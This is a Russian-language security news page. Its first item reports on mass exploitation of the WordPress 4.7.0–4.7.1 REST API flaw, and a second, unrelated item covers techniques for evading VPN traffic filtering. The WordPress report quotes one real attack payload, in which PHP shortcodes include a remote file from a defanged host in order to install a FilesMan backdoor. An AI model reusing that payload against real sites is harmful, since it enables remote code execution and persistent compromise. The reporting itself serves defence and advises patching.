Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Массовые атаки на свежую уязвимость в WordPress REST API, исправленную в конце января 2017 года, продолжаются. На прошлой неделе мы рассказывали, что по данным компании WordFence, уязвимость привлекла внимание как минимум 20 хакерских групп, которым удалось скомпрометировать более 1,5 млн страниц.

В настоящий момент количество пострадавших страниц перевалило за два миллиона, а атаки постепенно становятся серьезнее, как и прогнозировали специалисты.

Напомню, что свежая уязвимость была устранена с выходом WordPress 4.7.2, еще 26 января 2017 года. Баг обнаружили специалисты компании Sucuri, и они описывают его как неавторизованную эскалацию привилегий через REST API. Уязвимости подвержены версии 4.7.0 и 4.7.1. Однако публичное раскрытие информации о проблеме состоялось только неделю спустя, так как разработчики хотели, чтобы как можно больше сайтов спокойно установили обновления, пишет xakep.ru.

Уязвимость позволяет неавторизованному атакующему сформировать специальный запрос, при помощи которого можно будет изменять и удалять содержимое любого поста на целевом сайте. Кроме того, используя шорткоды плагинов, злоумышленник может эксплуатировать и другие уязвимости CMS, которые обычно недоступны даже пользователям с высокими привилегиями. В итоге атакующий может внедрить на страницы сайта SEO-спам, рекламу, и даже исполняемый PHP-код, все зависит от доступных плагинов.

Эксперты компании Sucuri заметили, что от простых дефейсов злоумышленники перешли к попыткам удаленного выполнения произвольного кода. Для этих целей хакеры используют плагины Insert PHP (100 000+ установок), Exec-PHP (100 000+ установок) и им подобные. Такие плагины позволяют внедрять PHP-код в посты, чтобы сделать кастомизацию проще.

Исследователи пишут, что теперь дефейс-сообщения хакеров содержат шорткоды для вышеупомянутых плагинов. То есть добавив к своим дефейсам PHP-код, злоумышленники могут добиться его выполнения. В блоге компании эксперты приводят следующий пример, замеченный ими в ходе изучения атак:

content:»[insert_php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/insert_php]
[php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/php]»,
«id»:»61a»}

Данный пример приводит к скачиванию бэкдора FilesMan и его установке в директорию /wp-content/uploads/.

Теперь специалисты Sucuri рекомендуют администраторам отключить все потенциально опасные плагины и обновиться до WordPress 4.7.2, если они по какой-то причине еще этого не сделали. Исследователи поясняют, что такие атаки – это способ монетизации уязвимости. Тогда как обычными дефейсами много не заработаешь, размещение бекдора на сервере жертвы позволяет злоумышленникам вернуться позже, даже после устранения оригинальной уязвимости, и разместить на скомпрометированном ресурсе SEO-спам, рекламу или малварь.

Бесплатные VPN начали умирать за пару дней, IP уже ни при чём

Бесплатный VPN из Telegram бодро запускается, а через несколько дней Reels замирают, YouTube уходит в бесконечную загрузку, а Gemini встречает ошибкой 403. Современные системы фильтрации научились распознавать туннели даже без расшифровки трафика.

По версии пользователя Хабра Djin22, теперь одного нового IP-адреса может быть недостаточно.

Анализаторы изучают размеры пакетов, интервалы между ними, структуру TLS-соединения и другие косвенные признаки. Если трафик ведёт себя как прокси, маскировка под обычный HTTPS уже не всегда спасает.

Один из характерных сценариев автор называет «проблемой 16 КБ»: соединение успешно устанавливается, передаёт первые данные, а затем резко замедляется или обрывается. Для борьбы с этим используют фрагментацию пакетов, уменьшение размера TCP-сегментов и десинхронизацию DPI с помощью zapret. Идея проста: сервер должен получить нормальный поток, а анализатор — головоломку.

Отдельная история — сервисы Google. Они могут учитывать TLS-отпечаток клиента и замечать, когда программа притворяется Chrome не слишком убедительно. В sing-box для более правдоподобной имитации браузера применяют uTLS.

Если Telegram не работает даже через VLESS Reality, автор предлагает ShadowTLS v3: протокол маскирует соединение под обычную TLS-сессию с разрешённым ресурсом. Ещё один приём — padding, то есть добавление случайных данных для изменения размеров пакетов и усложнения статистического анализа.

В качестве готовых вариантов Djin22 перечисляет hynet.cloud, AmneziaVPN, Red Shield VPN, Cloudflare WARP и собственные серверы на Xray или sing-box. Однако часть текста о hynet.cloud выглядит рекламно, а заявления об «эмуляции JA4», residential-маршрутизации и автоматическом переключении протоколов приводятся без независимого подтверждения.

RSS: Новости на портале Anti-Malware.ru